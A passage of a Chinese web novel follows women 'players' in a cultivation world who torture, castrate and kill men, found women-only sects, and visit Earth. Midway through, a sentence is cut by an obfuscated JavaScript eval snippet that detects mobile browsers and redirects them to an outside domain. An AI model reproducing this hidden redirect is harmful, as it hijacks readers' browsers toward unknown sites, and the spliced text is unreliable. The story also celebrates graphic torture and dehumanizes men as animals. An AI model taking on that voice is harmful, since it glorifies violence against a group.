审月手中佛珠冒光,闪着弹向疯狂逃蹿的漏网之鱼。 偶尔有几个稍微学了点法术的,想要攻击或者自保,都被她们给轻轻松松解决了。 龟男双腿打颤,战战兢兢道:“两位,是要钱财还是要楼里的姑娘,都好说,好说。” 还不等她们说话,龟男又想起什么:“两位定是鬼命大人的追随者吧,真是义薄云天,侠肝义胆啊。” 审月和祝缨皆是两手抱胸。 “呵呵,实不相瞒,我也时感羞愧,只是迫于楼里姑娘的生计,才不得不继续下午这些肮脏事。” “呕。”审月做出呕吐的表情,“我还以为你会放什么狗屁呢,没想到是这样臭不可闻的东西。” 祝缨也跟着呵呵冷笑,“说得好听,钱都到你口袋里,痛苦都别人承担了。” 审月也懒得废话了,大步上前,抓住见她过去拔腿就跑的龟男,先是给牠无比响亮连环大耳光,再扯着牠的手,三百六十度旋转后,在牠啊啊啊的惊吓声中,狠狠甩到墙上,抠都抠不下来。 这期间,祝缨也没闲着,把从楼上下来,想要偷跑出去的闝男都给砍了。 对待楼里的姑娘,祝缨奉行着自愿原则,想走就拿着楼里钱财走,无处可去的她们寨子可以收编。 “选择离开的站在右边,留下跟随我的站在左边。” 姑娘们面面相觑,分别做了选择。 审月站在一旁,给每一个活着的男做阉割小手术。 她还把龟男从墙上抠了下来,恶趣味地对牠们说:“楼里需要维持生计,接下来的日子就由你们来接客吧。” 选择站在右边的一个姑娘开口:“牠们赚不到钱的。” 审月侧脸看她,见她相貌平平,脸上还有一大块红色的印记。 她坦然自若地说:“我被抓来,不是因为容貌,仅仅是因为天赋。” “而男人无供人修炼的天赋,看牠们也无绝世容颜,除了癖好特殊的,不会有人来的。” “岂有此理!”祝缨一下子就怒了,“采补为邪术,分明是明令禁止的!” 审月捻着佛珠,那姑娘讽刺一笑:“明令禁止,呵呵,有利于牠们的事哪里会真的禁止得了,恨只恨这百年间只出了叶、莫二人,也叹天下女子散于四方。” 审月来到这个世界,将与自己性别相关的事情打听得清清楚楚。 叶、莫二人之事自然也是知晓的。 三百年前,随着汜水娘娘墓地被盗,断代千年的修炼传承终见天日。 自此,一个全民修炼的辉煌时代开启了。 同时,把握着政权的皇族为了某种不可告人的目的,散播“女为阴,男为阳,女男双修,阴阳调和,方可共抵大道”的说法。 但其实,女身本就完全,为阴也为阳,而男身残缺,需采女身阴阳补之,否则修炼缓慢。 那时很多女人都被哄着骗着抢着逼着成为了供男人修炼的炉鼎。 叶殊归、莫停留二人为当世天才,靠着两把长钺将当时的四大家族困于问秋谷,还杀了不少精英徒子,这才止了剥削女修的养炉鼎之风。 审月再次看着眼前的闝男龟男,心中厌恶更浓。 祝缨开口了:“姑娘,我看你我二人投缘,不如你跟着我们吧。” 那姑娘摇头:“我想去金陵找鬼命人。” 审月闻言,扭头道:“你想去找她?刚好我对她也很好奇,反正也没有别的想法,不如我们结伴同去吧。” 祝缨还未从审月那打探到什么有价值的消息呢,她顿了顿,说道:“不知你们有没有落脚的地方,如果不慊弃的话,可以到我那一住。” 审月拍拍祝缨的肩膀:“那敢情好啊。” 而后她又问那姑娘的意见。 她想了想,道:“那就多谢了,我名齐照灯。” 把闝男与龟男身上的肉一片一片地割下来互相喂给对方后,祝缨带着二人回寨子。 路上,三人闲聊,齐照灯提起自己投奔鬼命人的缘由。 “我很喜欢她火烧风月居的故事,”齐照灯认真地说,“你知道的,男人想把这个世界变成大伎院,我很讨厌。” “我希望能够得到她的帮助,让男人再也无法将世界骑在身下。” 审月闻言默默,祝缨钦佩地举起大拇指。 过了一会,审月开口了:“其实,我说让这些男的接客只是吓吓牠们的。” “自古以来,男伎不少,至少在我们那个地方,要远远大于女。” 祝缨怔愣,她们那里不是…… 审月继续道,“把男变成男伎,还是在用牠们的方式思考,而女人并不像牠们一样被下半身支配、渴望男伎,所以说,我认为更好的惩罚方式是骟了或者直接杀了牠们。” 她握住祝缨和齐照灯的手,“我说这些是不希望你们对我有什么误会。” “特别是你,”审月看向祝缨,“能被选中,说明我们都是媎妹。” 祝缨在口中念着:“媎妹。” 虽然她没听过,但莫名感到亲切。 见她神色,审月脸色变了:“你不是玩家。” 死亡一般的寂静。 “呃,啊哈哈。”祝缨装傻。 审月笑了:“瞧你这个样子,我可没那么草率,随随便便就把那么重要的事情说出来。” “嗯?”祝缨和齐照灯都是一脸迷惑。 “当当当,就是这个。”审月拿出了一个龟壳,“玄学鉴定,只有自然女才能让它发光哦。” “从一遇到你们开始,它就发光了。”审月撑着下巴说。 回到寨子,审月左看看,右看看,夸赞道:“行啊,祝缨,你可真是个大女人。” 祝缨不想别人不知道时岳的那份功,于是把她的所作所为告诉审月。 审月沉思片刻,道:“也许,我知道你为什么会接近我了。” 晚上,审月对祝缨说:“我准备留下。” 齐照灯也做了同样的决定。 并且审月还告诉祝缨玩家与天道系统的事。 “反正最后你们都会知道的。” 时岳并不知道祝缨已经知道天道系统与玩家的事了。 她回到有妈妈在的原世界后,利用幻术遮掩,悄无声息地来到了她家小区。 坐上电梯,上到十一楼,到门口的时候,才惊觉自己的手心已经冒汗了。 最后时岳是从窗户爬进自己房间的。 她看了眼自己熟悉的床、衣柜、桌子、以及桌子上的笔记本和每日都会被妈妈更换的百合花。 呜呜妈妈,我爱你。 果然远离妈妈就会变得想她呢。 时岳在床上躺了一会后,从卧室走出去,经过厕所,在拐角看到“自己”正在客厅的桌上啃大猪腿。 妈妈就坐在对面,一头褐色卷发,脸上化着粧。 时岳皱起了眉,她看到自己从前剪的寸头已经长了些,变成短毛,这很正常,只是为什么“自己”会穿着裙子,还涂了口红,虽然已经被搞花了。 彩霞是斜对着时岳的,时岳没隐身,她一抬头就看到了紧紧皱眉的“自己”。 别提有多惊悚了。 “啊啊啊鬼啊!”一声尖叫冲破云霄。 时岳捂住了耳朵,大喊:“冷静点,你看我是谁?” 最后三个人坐在桌上,证明完自己身份后,时岳气愤且严厉地批评妈妈:“时清桐女士,你怎么能趁着我不在就给我化雄堕粧。” 时清桐不说话,眼角还挂着激动的眼泪。 时岳真是不知道怎么跟她说好了。 她真的烦死烦死烦死烦死烦死她了。 对于化粧、穿裙子这件事,时岳从小时候就开始争斗了。 那时候时岳只肯穿裤子,因为裙子没有口袋,装不下她捡来的石头、偷偷摸摸买的零食、妈妈早上做给她的鸡蛋。 但是时清桐非要给她买又贵又限制她行动的裙子。 然后就会被时岳跟别人打架弄烂。 时清桐恨铁不成钢地骂过时岳后,就再也没给她买过裙子了。 现在时岳很暴躁,黑着个脸。 “其实……”彩霞决定看在猪腿的份上为时清桐说话。 “你喜欢的话天天给你化,用你的脸。”时岳凶她。 彩霞闭嘴了,过了会,她说:“我不喜欢的。” 化完粧后的脸,特别是吃热的东西时,都会闷得她难受,她不喜欢。 “但是,也就这一次,”彩霞看着时岳,还是小心翼翼地说了,“我们是为了好玩才化的。” “一次也不行!”时岳没那么生气了,但还是有些生气,她白了两个人一眼,没好气地说。 时清桐还因为时岳的回归激动着,她深深吸了一口气,平复了一下心情,也知道自己吵不过时岳,但也不肯承认错误。 她强硬道:“我还没问过你呢?你这是怎么回事?” 问完后,她又想到什么,神情凝重。 时岳也注意到了妈妈的表情,她深深吐了一口气,知道再计较这件事也没什么意义了,于是就暂且把这件事放入心中,缓了缓回答道,“呃,她其实……” 时岳看彩霞一眼:“她其实是我未来的女儿,您时清桐女士的孙女。” 时清桐给时岳一爆栗,被她偏头躲开了。 “你要做的事我也拦不住你。”时清桐说。 时岳一脸迷惑,然后才知道了玩家的事。 “你能就这么突然消失又出现,不就是因为这个……”时清桐说,“我一开始还以为……” 时清桐卡顿了一下,然后就闭上嘴止住话了。 “以为什么?”时岳追问。 ……以为是我让你压力太大,精神分裂了。当然,时清桐不会承认,她说:“反正你现在是不会回来了,江远那里给你买的房我就收回了。” 当初时岳去外面打工,时清桐天天发消息让她回来生活,弄得两人剑拔弩张的。 说完这句,时清桐还瞪她一眼:“没良心的家伙。” 时岳:“我也没让你累死累活给我买房啊,而且你还不是想控制我!” 怎么说呢,虽然时岳这样说,但妈妈给她买房这件事还是让她很高兴的。 以她的能力打几年工在这里买房并不是很难,但妈妈给买的就是不一样,特别是妈妈还从小就说以后要给她买房。 而且妈妈从小努力工作,只为她提供更好的条件,时岳也是看在眼里的。 但仅仅就高兴那么一下,她不会因为这就被妈妈控制住了。 有时候时清桐追得太紧了,时岳还会觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802860|158440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得有些烦,说过很多遍不需要为她攒钱。 “你把房卖了拿着钱自己去用吧。” 她好久没有见到妈妈了,不想跟她吵架,反正她也改变不了她。 时岳回到房间,拿起手机搜索信息。 “玩家”“异世”“天道系统”“拯救”相关讨论映入眼帘。 她点开了一个很久之前的热帖。 【讨论区|那件事竟然是真的!!!难道我们头上真的有更高文明的存在?】 1l:真的很多人莫名消失了……而且都是女人 3l:当初就很诡异了,征集玩家的消息铺天盖地而来,而且没网也能看到,怎么也删不掉……你们听说了吗?政府暗中组织过一批人参加玩家的选拔,还真有一个人被选中了,然后也是突然消失了 7l:我有个想法,前阵子不是有本男男搅屎文剧情突然大变嘛,排除是作者自我炒作的可能(我觉得可能性很小,当时还没出玩家这回事),她们会不会就是穿越到这个世界了 8l:天呐 9l:这个推测真是又合理又离谱…… 11l:别说,角色自我意识觉醒,原著小说剧情突变,召集异界玩家,真的很有那种感觉 13l:难道我真的是npc[震惊] 14l:难道我真的是npc[震惊] …… 31:那个,偏个题,有参与选拔的姐妹吗?要怎么样才能选拔上啊,那天我同意参与后,很快就被弹出来了,就很…… 23l:自然女,并且有一定潜力吧 24l:反正我姐是去了,但我比较废,曾经还服过很长一段时间的弱役,想去也没去成,哭 …… 98l:她们还会回来吗? 99l:反正我是希望她们回来的[双手合一][双手合一][双手合一] 105l:呃,还是别了吧,这个破地方……我要是她们我死也不会回来了 119l:她们如果回来的话,肯定会带来不少变化吧 201l:自信点,我觉得那种存在都有,她们要是回来,世界翻天覆地改变也不为过 …… 放下手机后,时岳望着窗外那一轮遥远却分外皎洁的月亮。 “真的是有什么看不下去了才做这些的吗?” 时岳有些犹疑,如果一个种族的女性需要外来力量来救,那真的是很拉胯了。 003像是感应到了什么,冷不丁地出来说:“你是觉得哪里不好吗?” 时岳沉默了一下,摇摇头。 “你说谎。”003说。 “你为什么这么觉得?”过了一会,没等到003回,她说,“好吧。” 然后她就把自己的想法说了出来,“不过想那么多干嘛,反正这是好事。” “原来你是在为此而烦恼,”003安慰她,“其实不是的,在我们之前,你们早就为之而努力、为之而奋斗了很久,很久。” “不管是千百年间的你们,还是现在的你们。” “而我们只是稍微把这个进程拨快了点。” 时岳听后,怔住。 她回过神来说谢谢,然后因为不想暴露太多情绪而转移话题。 “不过,003我怎么感觉你最近热情了很多呢?” 感觉隔了有十几秒吧,时岳听到003说。 “因为我很好奇。” 时岳没有对此发表意见,紧接着003诚实地说出了自己的疑惑:“本来一开始我只是听母亲的话,完成任务而已。” “可是后来,看到你会为别的女人真心实意地落泪,会那么耐心地传授知识给别的女人,还会夸我厉害,那时候我觉得有点开心,虽然我应该最想得到母亲的夸奖。” “还有就是,我故意隔一天说要帮助你,但又显露出自己的牺牲,你为什么是那样的态度?我以为你是一个善良的人。你应该是一个善良的人吧,我感觉你不仅仅是为了任务奖励,你是真心地为能够帮助到她们而高兴。” “总之,我很好奇。” 时岳再次愣住了,她有些无措,不知道说什么好了。 “我以为你真的是一个系统。” 003回答:“我是系统没错,但我的妈妈是一个女人。” 本来时岳觉得她们是不同的,她不认为一个导入数据模仿人类行为的系统应该要像对待真正的“人”一样对待它……虽然它也不一定是系统。 但现在003忽然说,它的妈妈是一个女人,时岳忽然就有些愧疚了。 “那你的母亲,一定是一个很好的……”她有些不确定003的母亲是不是人,“英雌吧。” “因为003你,”时岳停顿了一下,说,“让我感觉你是拥有灵魂的。” 003很久都没有说话。 如果有好感度提升进度条的话,那么就可以判断003此时对时岳的好感度提升了一大个幅度。 “003你怎么不说话了?是很感动吗?”时岳挠挠头,很担忧地说,“那你答应要帮我偷运这件事,可不能反悔哦。” “……”003,“当然,如果你还需要这里的什么物品,我也可以帮你的,但是不能太多。” 时岳哦耶一声,连连道谢,然后说:“我知道,太多会被发现的,要低调,低调。” 003却说:“我以后会亲自告诉母亲的,如果她介意可以惩罚我。” “还有就是,你可以多夸夸我,我很喜欢。” 时岳顺势夸了003几句。 “你不愧是那位超级厉害的大姥所制造出来的系统,慷慨大方又厉害,我在你面前,都要被你的光辉所遮掩了……” 糟了,有些编不下去了。 “继续。”003用那种很期待、雀跃的语气说。 时岳冒虚汗,她小时候把欺负其她小女孩的小男孩打进医院,面对妈妈的暴风雨时,都没有那么紧张过。 “003啊,你是多么完美的一个系统啊,你是你母亲最骄傲的女儿,你是不屈的电子灵魂,你是数据之上开的向阳花……” 到最后,时岳发现自己只是在干巴巴地重复之前说过的那么几句,就闭上嘴了。 “我很高兴,时岳,”003说,“所以我决定送你一个礼物。” 时岳的表情就是一整个“啊,啊,还有这种好事”。 “你的母亲为什么这么执着于化粧,自己化还不够,还要强迫你化?”003问。 “我问过,她说,不能像个男人,她对自己的性别很认同,”时岳说到这,一脸无语,“就好像我这个,还有我的小姨,这两个不化粧不穿裙子还剪寸头的就不是女人了一样。” 003说:“既然如此,那么从今天开始,男人如果不化粧不穿裙子不拥有长发就不能出门。” “不过我没有母亲那么厉害,只能维持三天的效果。” 而且,要是母亲的话,更想看到的应该是这里的女人自己改变她们的世界吧。 003想,反正现在她和三花喵姨姨管不到自己,它做了,要是她们不喜欢,大不了以后挨罚。 先欠着。 时清桐对于时岳要去异世这件事,并没有她表面表现得那么冷静理智。 她坐在电脑桌前,想了很久,最终联系了一个人。 “陵玉,我需要你帮我一个忙。” 她要伪造一份重症诊断单。 第二天,时清桐五点起床,化上很有虜味的粧,六点半就提着她的包,出门去了。 一开始她还没有发现问题,直到她路过一家金店的时候,听到了杀猪般的叫声。 “啊啊救命啊,我们不能出去了。” 时清桐和围观路人看着已经被牠们破坏的锁,一脸无语,并且好心地拨打了110。 时清桐没有在意,继续走自己的路了。 陵玉给她打来了电话。 “清桐,你看新闻了吗?” “怎么了吗?” “发生了一件怪事,男人都出不了门了。” 时清桐这才注意到,刚刚围观群众之中,没有男人。 “当然,考虑到一些男人晚上出门在外不好回家,”003说,“我还好心及时地控制牠们回家了。” 时岳看见因为这件事,网上都掀起了轩然大波,据说很多岗位都急招女人应对。 也有平常就爱裙装长发与化粧的男人在网上发帖,说这样可以出门。 不少人都因此破大防,大骂这个东西有病,时岳看得嘎嘎乐。 003也觉得有些好笑,兴奋地跟她分享。 这很难不让时岳怀疑,它其实是自己想看这一幕的。 时清桐打来电话,静默了一会。 时岳问怎么了,时清桐说:“知道你……” “嗯?” “妈妈也不是什么坏人,孩子要飞高,就尽管往高处飞,我也管不了你……只是,你以后会回来看看吗?” 003把时清桐近来要做、以及遇到的事都告诉了时岳。 “……她应该知道这种谎很容易被我们揭穿吧。”时岳不知从何吐槽。 “当然会啦,”时岳说,“妈妈,你就当我是外出工作了,以后肯定会回来的。” 时清桐回来后,时岳上前迎接,笑容满面。 “天呐,我的妈妈,你怎么像个男人一样……”时岳举着手机,屏幕中是外出男人的照片,她以咏叹的语气,格外贱兮兮地追着时清桐感叹,“你看看,这粧容,这发型,这长裙……” 最后,她上下扫视时清桐一番,做出了最后的总结。 “简直跟男的一模一样!”掷地有声。 时清桐一脸黑线,但也反驳不了她。 时岳看到她吃瘪的样子,乐得想死。 “你应该早点告诉我的,时岳小朋友,”时清桐往自己房间走,“这样我们家就可以大赚一笔了。” “好吧,”时岳在原地说,“虽然你没有大赚一笔,但我昨天买的股票,今天涨了很多。” 然后时岳开始继续她的买买买。 电视、电脑、发电机、专业书籍、优良品种……买买买,都买了。 到了中午吃过饭的时候,时岳准备出门,她昨天就已经跟彩霞说好了,把身体换回来,所以现在她终于不用仰视大部分人了。 她们还帮彩霞改了一个名字,叫时朝晖。 至于回另外一个世界的事,时岳看得出来,她想留在这个世界,也没勉强,留了笔钱,让她在这个世界有一定的保障。 还有一个很重要的事,抽灵玉得来的修为,会跟着她的灵魂走,也就是说,现在她要外出犯贱,应该担惊受怕的是别人。 桀桀桀,时岳猥琐大笑出门去。 这个曾经对着她的寸头爹味说教的老男人,时岳一巴掌拍过去:“呔,丑男人!也不化个好看点的粧,是怕男同看上你吗?” 那个发微信骚扰过她妈的大叔,时岳像峨眉山的猴子一样扯着树枝飞荡过去,把牠假发一把扯掉后,还反头做鬼脸,略略略地嘲笑牠。 诶,那个不是打麻将的时候为了讨好大姨们,天天说她闲话的长舌夫老头嘛,想到这男的最迷信了,时岳身体和头反过来,爬在地上,一边爬还一边说:“大爷,小心身后,不要出门……” 长舌夫尖叫一声,感到骨头都凉飕飕的,突然,一滴水珠重重砸在牠头上,牠呜呜乱叫,然后晕死过去。 时岳直起身体,下雨了,她得回家了。 临走前,她慊弃地看了眼不会化个美美的粧取悦自己的男老头。 “这粉扑得丑死了。” “假发也没戴好。” “裙子太老土。” “真敷衍。” “但精神可嘉,给你三分吧。” 可惜现在有一些男人躲在家里不肯出门,不然同样可以得到她的免费打分了。 啧啧。 时岳回异界的时候,把别人总结的《归山》小说去毒版细纲也带走了。 003选择性地忽视了时岳让它偷运的东西有一大仓库,而不是她们之前说好的不要太多。 时岳回到黑风寨的时候,大家差点没认出来,一阵鸡飞狗跳后,时岳从树上跳下来,扯掉身上的鸡毛。 祝缨不在,没人证明她的身份。 幸好她说出她们共同经历的事情,并用她独一无二的气质证明了自己。 “而且,”时岳幽幽地说,“不是这里的人,阵法也会拦着的。” 时岳将她从自己世界带来的东西整理好放入仓库,然后交代了一些注意事项,又问祝缨去哪了,什么时候回来。 “时岳姐姐,”有小姑娘扯着她的袖子说,“祝缨姐姐跟审月姐姐一起去云峰寺了。” “她们去那干嘛?”时岳想到她们那里,某个朝代是不让女人上香的。 如果这个云峰寺也是如此,那么她现在也会想着去会一会了。 “我不知道,听审月姐姐说,大概是一些私人恩怨之类的。”小姑娘问,“时岳姐姐,你也准备去吗?” 时岳还是准备去看看,她嗯了一声,摸摸她的头,微微扬起唇,笑着说:“你在寨子里好好练功。” 小姑娘响亮地应了:“我会的!” 时岳飞身很快来到了云峰寺。 她看到祝缨和一个披着袈裟的女人笑嘻嘻地提着几个和尚的头。 “还修行呢,你们有男僧去青楼,你们怎么也不管一管?” 审月拍拍手,把手中提溜的男僧头撞到一起,她勾起唇角,扬上一抹嘲讽的冷笑:“当了和尚还不阉了自己,却说要戒七情六欲,就没见过你们这么既要又要的屁精。” 男僧皆脸色难看,男主持听到屁精二字,更是气得浑身颤抖。 “休要妄言!” “不是吗?屁精。”审月一脸事实本就如此的样子,“要不然你们寺庙怎么只招男人啊,难道不是要给男香客卖屁股吗?啊啊?不是吗不是吗?屁精!” 祝缨一副憋笑无能的样子,她连连附和:“我看审姐真相了。” 时岳在后面树间也被逗得不行。 男僧们碍于对方的武力值,只得忍气吞声,不敢上前。 “既然客人们已经惩处过不肖徒男了,现在应该可以离去了吧。”男主持脸色铁青、面如菜色地说。 “好啊。”审月说。 时岳内心有些遗憾。 “不过在此之前,”审月说,“你得破财消灾。” “诶诶,”祝缨打断她,说,“这怎么能叫破财消灾呢,我们都是文明人,只是要点赔偿以及补偿罢了。” 男僧们闻言都有些躁动,男主持更是咬牙切齿,想了想,牠还是回:“你们想要多少?” 审月微笑:“全部。” 不顾男僧们憎恶的目光,她继续补充道,“而且我们还会帮助你们证道。” “嗯,骟男证道。” 男僧们嘴上说牠们脱离了凡尘俗世,但也只是嘴上说说罢了,牠们心里可惦念着香火和香火钱了呢。 对于牠们来说,审月和祝缨真是要动了牠们的命根子,于是一个又接着一个地口吐白沫,不复之前的胆怯,变得正义凛然起来了。 “既然施主执迷不悟,就休怪贫道无情了。”男主持眼神一暗,让牠慈眉善目的表情变得格外怪异。 男僧们也齐齐应和,一副小人得志的样子:“今天我们师傅就要为民除害!” 牠们真以为男主持会有什么深藏不露的招。 祝缨紧张起来了,审月掏掏耳朵,一脸无所谓,时岳打算现身来帮她们。 结果下一秒,男主持掏出一只栩栩如生的小纸雀,对着它道:“笃竹师兄,为我报仇!” 审月嗤地就笑了,这一声格外响亮。 “你笃竹师兄没有告诉你,牠们寺庙的男僧都被我骟了吗?” 男主持眼睁睁地看着小纸雀在空中慢慢燃烧然后化为灰烬。 审月指了指身上的袈裟。 “这就是牠们为了感谢我,送我的。” 审月和祝缨有了动作,男僧们见状,连滚带爬想跑。 “很快你们也会感谢我的,不用谢。”审月和祝缨逼近,打算速骟速成。 时岳也出来,默默加入其中。 微风,山苍,寺庙,香客们早早离去,树上木牌摇颤,男僧倒了一地,有三个女人站在其中,相视一笑。 4. 第 4 章 回去路上,时岳向祝缨解释了一遍自己的身份问题,然后她们就聊了起来。 审月讲起了她初遇第一个男僧的事。 “这群男的虚伪得要死,为了宣传自己,派人到市井购买大鱼,然后到翠湖放生。” “你猜怎么着,牠们放生的鱼生性凶猛,且食肉,把翠湖的鱼都吃得七七八八了。” “正巧我听说了厉娘的故事,厉娘被丈夫虐待,终于在某一天忍无可忍,趁着半夜男人睡着后,举起刀,一刀又一刀地把牠砍死。” “当初男人伤害女人的时候,女人去上香,男僧劝她放宽心,不说男人有罪,现在她杀了男人后,这群臭和尚倒是一个又一个地跳出来指责女人有罪了。” “我看不惯,于是就把牠们都扔进翠湖,让牠们都被吞翠鱼啃噬殆尽,至于剩下的男僧,我也做好事,给牠们做了阉割治疗。” 祝缨拍手称快,时岳举起大拇指,审月露出会心的微笑。 回到黑风寨后,审月看着时岳拿出的电视机、电脑、发电机等高科技产物沉默。 时岳说:“不是留影石不好,只是电视机更具现价比。” 她要录制视频,给孩子们看课! “不是,”审月说,“商城也不能兑换这些啊,你怎么有的?” 审月迷茫地眨了下眼睛。 时岳拍了拍她的肩膀:“年轻人,还是得多学学。”不像她,有003这个后门给走。 黑风寨的女人们见到这些个新鲜玩意,也都很震撼。 时岳趁机拿出一大箱子专业书籍,问:“学不学,学了你们也会制造这个。” 一切都在稳步前进,黑风寨的规模也逐步扩展到周边几个县城。 时岳在不知道第几次打退了找事的男人后,对祝缨她们说:“我觉得我们可以建立一个宗门,只收女人的宗门。” 于是一个名叫女钺的宗门建立了。 就在不久的将来,很多崭新的门派也都会冉冉升起,它们都是女人建立而成的。 “……”对于天昭的男人,以及一部分女人来说,这并不是什么好事。 最近她们都遇到了很多奇葩但又很厉害的人。 茶馆之中,有个肥头大耳的男人唾沫横飞:“这些娘们真是没事找事!” 对面的男人也苦着一张脸:“就是说,那些女人也是自愿的。” 得到臭味相投好兄弟的认同,肥头大耳男说得更加起劲了。 “还有一些丫头片子翅膀硬了,被带坏了,想要去投奔她们,真是可恶!” 对方男说:“当初就不应该生下她们,一出生就应该溺死!” 肥头大耳男听得连连点头,脸涨红了,“这群女的还把头发都给剪了,哪有人把头发给剪了的,一看就不是什么好货,要我说……” 可惜牠的慷慨陈词还未说完,眼睛瞪得大大的,头从身体上分离,在地上轱辘轱辘滚了好几圈,撞到墙角才停下。 “啊——!” 茶馆男人的尖叫冲破天际,与肥头大耳男谈天的男人被吓尿了。 然后牠在这暖心的滚烫之中头颅和身体也分了家。 来的是几个短发女人,都不算太高,但身体健壮,手臂满满都是充满力量感的肌肉。 “好心情来和姐妹喝个茶,怎么有雄狗在叫,真是烦死了。” 茶馆的男人认出她们是最近突然冒出来、很厉害的破山门之人,最见不得男人上桌吃饭了,于是都屁滚尿流地从茶馆滚了出去。 没有男人,四周空气为之一新,她们找了一个隔间,点上茶水与香果。 一个眼角纹了一头貔貅的女人说:“我想建立一个报刊。” 众姐妹纷纷表示赞同:“顺便也把那些赞扬女人为虜为隶的书籍都给烧了。” “还有,我想把修炼功法都发表出去。”女人认真地说,“为什么我们能修炼得那么快,这里的女人修炼缓慢,就是因为多年前,男人篡改了汜水娘娘的修炼功法,让其不适合女人修炼。” “可笑的是,就算不适合,也有很多女人超越男人。” 商量好诸多事宜后,她们把事情安排下去。 “芩川路途遥远,你也想去修炼?”一个瘦得跟猴一样的男孩嘲笑道。 平芜不理会这个男孩的燕雀之见。 见她不理,男孩撇了撇嘴,一边大喊“盼弟,你一个女人要去,多危险啊,找个男人陪你吧”,一边跑得飞快。 平芜还没说话,妹妹春山就跟个小耗子一样蹿出来,拔腿追去,就在不远处的土坡逮住,把牠按得紧紧的,一边回头,对姐姐大声喊道:“姐姐,我抓住牠了,快来打牠啊!” 打完后,春山抿抿唇,有些担忧地问:“姐姐,芩川很远吗?” 平芜安抚一笑,说:“芩川不远的,只要我们翻过几座大山,就到了。” 就在不久前,一个瘸眼婆婆来到她们村,村里人都对她敬而远之,平芜和春山一起做的竹蜻蜓飞进她家。 瘸眼婆婆支起窗,拿着竹蜻蜓,问她们:“诶,小姑娘,这是你们的吗?” 然后她们就认识了。 熟悉了后,瘸眼婆婆给她们讲故事。 “我老婆婆啊,这一辈子荣华富贵是没有,但是故事啊,肚子里有一大堆。” 老婆婆最爱讲的就是几百年前汜水娘娘和几十年前叶殊归与莫停留二人的故事。 她还用皱巴巴的嘴唇说,“其实啊,她们才是对的,她们修炼的功法不是邪门歪道,她们修炼的才是适合女子的。” 老婆婆说当初她在季家,被季家二少爷抓去做炉鼎,是莫停留和戚成雪姐姐一起救了她。 老婆婆比划着:“季家,就是后来被管家仆从瓜分为苏、江两家的季家。” “莫停留本来是季家的,她给自己改了名字,莫停留,她还灭了季家。” 平芜想改名字了。 每当村里人叫她盼弟这个名字的时候,她都会喊,“我不叫盼弟,我改名了!” “叫我绝弟!叫我杀弟!” 平芜想和妹妹一起要一个跟弟弟无关,只与自己有关的名字。 “改名啊,好啊,改名好啊,”老婆婆说,“平芜尽处是春山,你就叫平芜,草木丛生的平旷原野,开阔而有无限可能,你就叫春山,春日的山,美不胜收。” 平芜和春山看着一眼望不到边的稻野,重复割猪草喂给家里几头哼哼唧唧肥猪的日子,父亲总是什么活也不干只会蹲在门口树下端着有豁口的碗喝酒,母亲抱怨着日子过不下去,然后把鸡蛋喂给弟弟吃。 她们有时候甩活,母亲还会追着她们打,指着她们鼻子骂懒丫头。 平芜和春山跪下来,“婆婆,您可以当我们的老师吗?” 婆婆教了她们一些基本内容后,对她们说:“我经过芩川,见到几个女人,武功高强,你去找她们吧,就说是铁婆婆让你们找的,不说也行。” 芩川路途遥远,要翻过几座大山,但比起在村子里日复日年复年要走的路,那就近在咫尺了。 莽莽平原新生之树依次拔地而起,虽然男人们很想阻止,但奈何有心无力,行为却无用,只好兀自坐地,叹息雄性失落,或是脑袋落地,再不能言语。 “果然是阻止不了……吗?” 从四大家族被攻破,再到各类全女门派立碑,无数女人修习真正适合她们、阴阳平衡之功法,逐渐成长,仿佛无形之中有很多股力量逐渐汇合在一起,形成铺天盖地、势不可挡的势。 祝大娘和程远章来到问秋谷,这里真气充裕,草木茂盛,却罕无人迹,只因当年精英徒子鲜血滋润后,妖怪横行,猛兽众多。 也是因为二人最后的诅咒与祝福。 祝大娘抚摸着这里的一棵树,她说:“也许这就是叶殊归和莫停留她们。” 程远章看看祝大娘,看看树,最后望向苍茫的远方。 最后只余下一声轻轻的——轻轻的叹息,很快就被风吹走了。 祝大娘拿出金铃铛,说:“开始吧。” 她们本是将死或已死之人,如今因为金铃铛的主人才有了再生的机会,自然是应当报恩的。 再说宁秩那边,前不久她来到传说之中的深空之渊后,发现这里很像…… “时空的中转站。”三花喵给出了答案。 不待宁秩细细查看,手中龙骨剑便指引着她来到一处虚空。 它飞空而去,背着一个木匣子回来。 宁秩接过,打开,谁知木匣子立刻合上了。 宁秩微笑,不信邪,使劲掰开,木匣子则努力合上……但没合上,它发出声音:“施主,莫强求,强扭的瓜不甜的!” “甜不甜我还不知道吗?” 没办法,木匣子感知到自己打不过宁秩,只得说:“你又不是江蔚然,你还不是这个世界的人。” “你怎么知道的?” 三花喵也同样好奇,按理说这里没有人能够看得出它们的伪装的。 “你的厉害显然不是这个世界能有的水平,听明白了吗?需要我再说一遍吗?爹的。”木匣子暴躁地上下夹盖子,像只扇贝一样。 “那当然了,”宁秩听到对自己的夸奖,心情舒畅,“说说你的来历。” 木匣子沉默,宁秩钳制住它。 “好吧,这个就说来话长了。” “……” “我长话短说,反正就是我的主人希望在这里蹲到虚空兽,可没想到虚空兽早已不复存在了,于是我的主人让我把虚空兽化作的虚空之境收集起来,赠予有缘人。” 还不等宁秩再问,木匣子就噼里啪啦又说了一大堆。 “我的主人姬拾月,说了你也不认识……哦,对了,之前有个叫江少华的人来,没成功取走虚空之境,但后来留下一大堆东西,说是要让她女儿来取。你要是认识江蔚然,让她快点来拿。你有龙骨剑,你应该认识她吧。” 木匣子很烦地说,“至于其它的,我保存了每个来到这里想要取走虚空之境人的记忆,你自己看吧,别问我了,烦。” 说完木匣子就睡着了。 啊,这。 宁秩觉得她听到的呼噜声应该不是错觉,她失笑着摇了下头,然后把木匣子叫醒。 当着它的面,从它身体里取走了剩下的所有虚空之境。 “谢谢馈赠。”宁秩说,然后把木匣子也给揣走了。 木匣子:? 宁秩对三花喵说:“这里连接的是完全不同的其它世界呢,真有玩游戏探索副本的感觉,我要去看看。” 这样的惊喜多来点,有意思。 